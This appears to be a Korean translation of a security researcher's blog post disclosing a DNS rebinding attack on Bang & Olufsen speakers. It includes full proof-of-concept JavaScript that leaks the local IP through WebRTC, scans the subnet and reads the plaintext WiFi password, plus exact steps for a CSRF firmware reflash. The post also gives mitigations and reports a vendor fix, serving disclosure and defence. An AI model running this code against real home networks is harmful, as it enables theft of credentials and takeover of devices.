카테고리 없음

DNS 리바인딩으로 웹사이트에서 Wi-Fi 비밀번호 탈취하기 [번역]

진모씨 2016. 3. 15. 21:08

원제: The power of DNS rebinding: stealing WiFi passwords with a website


DNS 리바인딩 요약


DNS 리바인딩 공격오래 전부터 공격자들에게 Same-origin policy를 우회하는 쓸만한 공격 기법으로 알려져있었어요. 이 공격은 DNS의 기능을 악용해서, 페이지의 내용을 전송한 다음 웹 사이트의 IP를 바꿔치기합니다. 보통은 추가적으로 자바스크립트를 이용해서, DNS 캐시가 효과가 떨어질때까지 기다린 다음 같은 호스트로 요청을 보내게 해요. 그러면 브라우저는 당연하게도 같은 호스트로 요청을 보내는 줄 알겠죠. 사실은 공격자가 IP를 바꿔버렸지만요. 따라서 공격자는 내부 인터넷 서비스에 접근한다던지, 그걸 또 외부에 보낸다던지, 아니면 생각나는 다른 것을 할 수 있겠죠.


이미 쓸만한 PoC 코드가 존재하고 이걸 막는 기법이 있다 해도 배포하기가 힘든데다, 항상 효과적인 것은 아니에요. (DNS pinning is not a panacea 문서와, dnswall이 DNS 응답에서 내부 IP만을 차단한다는 것을 따져보면, 이는 일부 공격만을 막을 수 있다는 것을 알 수 있습니다).


실제로 적용해보기: WiFi 패스워드 탈취


혹시 가정망에서 Bang & Olufsen 스피커를 하나 쓸 기회가 되었나요?

A Bang & Olufsen A9

이거 참 좋은 소식인데요. 이 기기는 이더넷이나 WiFi를 통해서 가정망에 연결을 하죠. 처음에 플러그인 했을 때 패스워드를 저장하고, 이쁘게 생긴 웹 인터페이스도 있답니다.


WiFi 비밀번호는, 당연하게도 암호화되지 않고 저장됩니다. 하지만 여기서 더 흥미 로운 것은 이게 인증을 거치지 않은 채로 접근할 수 있는 페이지에서 제공된다는 점이죠. /1000/Bo_network_settings.asp 에서요. (로그인은 필요로 하지 않아요) 이건 로컬 네트워크에서 웹페이지를 방문만 하는 것으로도 비밀번호를 볼 수 있다는 게 되요. 큰 문제는 안되죠. LAN으로 인한 보안적인 경계랑 브라우저에서 어떤 사이트가 다른 사이트로 요청을 하지 못하게 하는 Same-origin policy를 생각해보면요.


이 때가 바로 DNS rebinding이 등장할 시점이죠.


일단 해킹할 대상인 사람이 공격자가 준비한 웹사이트를 방문해요. attacker.com 이라고 해보죠. 이 도메인이 TTL이 엄청 짧은, 그러니까 60초정도 된다고 해봐요. 이 웹사이트는 A 레코드를 가지고있죠. HTML 페이지에는 자바스크립트 코드를 담아주고요. WebRTC를 악용해서 사설 IP를 유출시킨다던가.. 하는 그런거요. 그리고 이 내부 IP를 통해 (같은 서브넷 대역에서 말이죠.) Bang & Olufsen 장치를 스캐닝하기 시작하는거에요. 제가 작성한 PoC 코드에서는 이미지 태그를 자동으로 생성했다 지우면서 어떤 IP 주소가 보통 Bang & Olufsen  기기에 있는 파일인 /images/BO_processing_grey.gif를 가지고 있는지 찾아봐요. 이미지가 찾아지면 스캐닝을 중간하고 이제 실제로 쓸 DNS 리바인딩을 시작하는거에요.


이제 Bang & Olufsen의 내부 IP를 알고, (예시로 192.168.1.10 이라고 해보죠) 그 내부 IP를 공격자가 가지고 있는 시스템에 전송해요. 그러면 이제 공격자는 이 웹사이트의 DNS 레코드를 192.168.1.10 으로 변경하는거죠. 그 동안 클라이언트 쪽의 자바스크립트 페이로드는 대기를 할거에요. 실력있는 공격자라면 게임을 사이트에 놓던 재밌는 장문의 글을 놓던 해서 공격 대상자가 그 사이트에 조금 오래 있도록 하겠죠. 1분이 지나고, 이제 스크립트가 http://attacker.com/1000/Bo_network_settings.asp 에 요청을 보내서 응답을 받으려고 시도할거에요. DNS 캐시가 유효하지 않으니, 브라우저는 새로 DNS 요청을 보낼거고요, 이제 attacker.com 은 192.168.1.10 을 가리키겠죠. 하지만 브라우저는 같은 호스트로 요청을 보내는 줄 알테니까요. 말 그대로 Same-origin 이니까, 기쁜 마음으로 응답을 얻어옵니다.


빙고.


Diagram illustrating the DNS rebinding attack


전체 소스코드는 GitHub 저장소에서 얻을 수 있어요.


HTML 페이지:

<html>
<head>
    <title>DNS Rebinding demo for Bang &amp; Olufsen devices</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
    <script type="text/javascript" src="malicious.js"></script>
    <style type="text/css">
        body {
            font-family: Helvetica;
        }
        #container {
            display: none;
        }
        #ip_msg {
            font-weight: bold;
            font-size: 20px;
            color: red;
        }
    </style>
</head>
<body>
    <p id="ip_msg"></p>
    <div id="container"></div>
</body>
</html>

Javascript 페이지:

var last_octet = 1;

function rtcGetPeerConnection() {
    var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection ||
        window.webkitRTCPeerConnection;

    if (!RTCPeerConnection) {
        var iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        document.body.appendChild(iframe);
        var win = iframe.contentWindow;
        window.RTCPeerConnection = win.RTCPeerConnection;
        window.mozRTCPeerConnection = win.mozRTCPeerConnection;
        window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
        RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection ||
            window.webkitRTCPeerConnection;
    }

    if (typeof RTCPeerConnection === 'undefined')
        return;

    return RTCPeerConnection;
}

// WebRTC detection code taken from http://ipleak.net/static/js/index.js
function rtcDetection() {
    var ip_dups = {};

    var RTCPeerConnection = rtcGetPeerConnection();

    var mediaConstraints = {
        optional: [{
            RtpDataChannels: true
        }]
    };

    var servers = undefined;

    // Add the default Firefox STUN server for Chrome
    if (window.webkitRTCPeerConnection)
        servers = {
            iceServers: [{
                urls: "stun:stun.services.mozilla.com"
            }]
        };

    var pc = new RTCPeerConnection(servers, mediaConstraints);

    // Listen for candidate events
    pc.onicecandidate = function(ice) {
        if (ice.candidate) {
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr_arr = ip_regex.exec(ice.candidate.candidate);
            if (ip_addr_arr && ip_addr_arr.length > 0) {
                var ip_addr = ip_addr_arr[1];
            } else return;

            // Remove duplicates
            if (ip_dups[ip_addr] === undefined) {
                if (ip_addr.startsWith("192.168")) {
                    findBOLocalIP(ip_addr);
                }
            }

            ip_dups[ip_addr] = true;
        }
    };

    pc.createDataChannel("");
    pc.createOffer(function(result) {
        pc.setLocalDescription(result, function() {},
            function() {});

    }, function() {});
}

function findBOLocalIP(clientLocalIP) {
    var ip_minus_last = clientLocalIP.substring(0, clientLocalIP.lastIndexOf('.'));
    $('#ip_msg').text("Your local IP is " + clientLocalIP + ", scanning " +
    ip_minus_last + ".x subnet...");

    // Try a /24 scan with 192.168.y.<i> with the exfiltrated y
    setInterval(function() {
        if (++last_octet < 255) {
            $("<img>", {
                    src: "http://" + ip_minus_last + "." + last_octet +
                        "/images/BO_processing_grey.gif",
                    id: ip_minus_last + "." + last_octet,
                })
                .bind('load', function() {
                    console.log("Found: " + this.id);
                    exfiltrateWiFiPassword(this.id);
                }).appendTo($('#container'));
        }
    }, 500);

    // Force to terminate stalled connections in order to avoid connection limit
    setTimeout(function() {
        setInterval(function() {
            $('#container').find(':first-child').unbind('load').attr('src',
            'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=').remove();
        }, 500);
    }, 5000);
}

// Alternatively, you could get /1000/bo_restart_in_bsl.asp to trigger a
// restart in BSL mode, wait 30 seconds and upload your own firmware
// in /1000/bl_firmware_update.asp POSTing to
// /goform/formPostHandler a "uploadForm" form with a "appFirmware" file
// with enctype="multipart/form-data". No XSRF protection.
function exfiltrateWiFiPassword(ip) {
    // Send internal IP "ip" to the attacker: we need to change
    // the IP address of this attacker-controlled domain to the
    // B&O internal IP.
    //
    // THIS PART HAS NOT BEEN IMPLEMENTED BECAUSE IT IS NOT NECESSARY
    // FOR DEMONSTRATION PURPOSES.

    console.log("Exfiltrating WiFi password from " + ip + "...");
    $('#ip_msg').text("B&O device found at " + ip + "!").fadeIn();

    // Stop running scan...
    last_octet = 255;

    var WiFiPassword;
    // Wait 70 seconds (60 seconds for cache invalidation + 10 grace seconds)
    // and connect to the attacker-controlled host with the new IP.
    setTimeout(function() {
            var interval = setInterval(function() {
                $.get("/1000/Bo_network_settings.asp" +
                    '?dummy=' + Math.random(),
                    function(data) {
                        var start = data.lastIndexOf('top: -100px; display: none">');
                        if (start == -1) {
                            return;
                        }
                        WiFiPassword = data.slice(start + 28);
                        WiFiPassword = WiFiPassword.slice(0, WiFiPassword.indexOf('<'));
                        alert('Password WiFi: ' + WiFiPassword);
                        $('#ip_msg').text("WiFi password found: " + WiFiPassword);
                        clearInterval(interval);
                });
            }, 5000);
    }, 70000);
}

$(document).ready(rtcDetection);

이 코드는 최신 크롬에서 테스트해봤구요, Opera를 제외한 대부분의 브라우저에서 동작할거에요.

The WiFi password is displayed in an alert box

alert box에 WiFi 비밀번호를 보여주고있어요.


조금 더 해보기: 원격 펌웨어 업로드


웹 인터페이스를 둘러보다보니, XSRF 공격이 펌웨어 업로드 페이지에 되겠더라구요. 공격자가 원격으로 장치를 리플래시하기 위해서 해야 되는 것은 /1000/bo_restart_in_bsl.asp 를 방문해서 기기를 BSL 모드로 부팅하도록 하고, 30초를 기다린 다음 /1000/bl_firmware_update.asp 에서 uploadForm 폼의 appFirmware 파일 입력에 커스텀 펌웨어를 담아서 /goform/formPostHandler 로 POST 요청을 날리는 것만 하면 되요.


이건 그러니까 DNS rebinding 을 안하고도 XSRF 취약점으로 원격에서 펌웨어를 리플래시 할 수 있다는 게 됩니다. 아마도 이걸 방지하기 위해서 signature verification 의 한 종류가 있을지도 몰라요.


미티게이션


임베디드 기기를 만드시는 분들은 DNS rebinding의 위험성에 대해 인지하고 있어야 합니다. 브라우저에서 이 공격을 막기는 힘드니, 미리 경고를 해야겠죠.


웹 서버에서는 Host 헤더를 체크해야될거고요, 특히 로컬 네트워크에서 상주하는 장치들에서는요. 아마 까다로울 수 있어요, 일부 설정을 작동 안하게 만들 수도 있어요.


네트워크 관리자들은 dnswall로 DNS 응답에서 IP를 필터링 할 수 있을거에요. 아니면 이런 필터링이 이미 적용된 외부 DNS(OpenDNS 등)를 쓰고 싶을 수도 있어요.


제 생각에 B&O 기기를 위한 가장 좋은 해결책은 그냥 WiFi 비밀번호를 /1000/Bo_network_settings.asp 에 노출하지 않는 거에요. (input type=password 로 지정되어있으니까 사용자한테 가려져있긴 해요!) 아니면 signature verification이 없다면 펌웨어 업로드에 signature verification을 넣는거에요.


결론


DNS rebinding 공격은 실용적이고, 진짜 존재하고, 사용자를 보호하기 위해서 미티게이션으로는 적절하게 공격을 막지 않을 수 있어요. 이런 공격이 널리 퍼진 보안성이 취약한 임베디드 기기와 합쳐지면 대규모 공격을 할 수 있죠.


감사의 말씀


PoC 코드를 짜는 데 도움을 주신 Stephen R. 과 Sebastian L. 에게 고마움을 전합니다.


5월 13일자 추가 내용:

Bang & Olufsen 측에서 업데이트를 보내줬어요. 필요한 작업을 거쳐서 BeoPlay A9 에 대한 업데이트된 소프트웨어를 릴리즈했습니다. 장치에 대한 소프트웨어는 인터넷을 통하는 BeoSetup App 을 통해 쉽게 업데이트를 할 수 있고요. 이 이슈는 설정 웹 페이지에서 전송할때 민감한 정보를 빼는 것으로 해결이 되었습니다. 이렇게 해서 클라이언트에 WiFi 패스워드가 저장된 정보는 전송되지 않을거에요.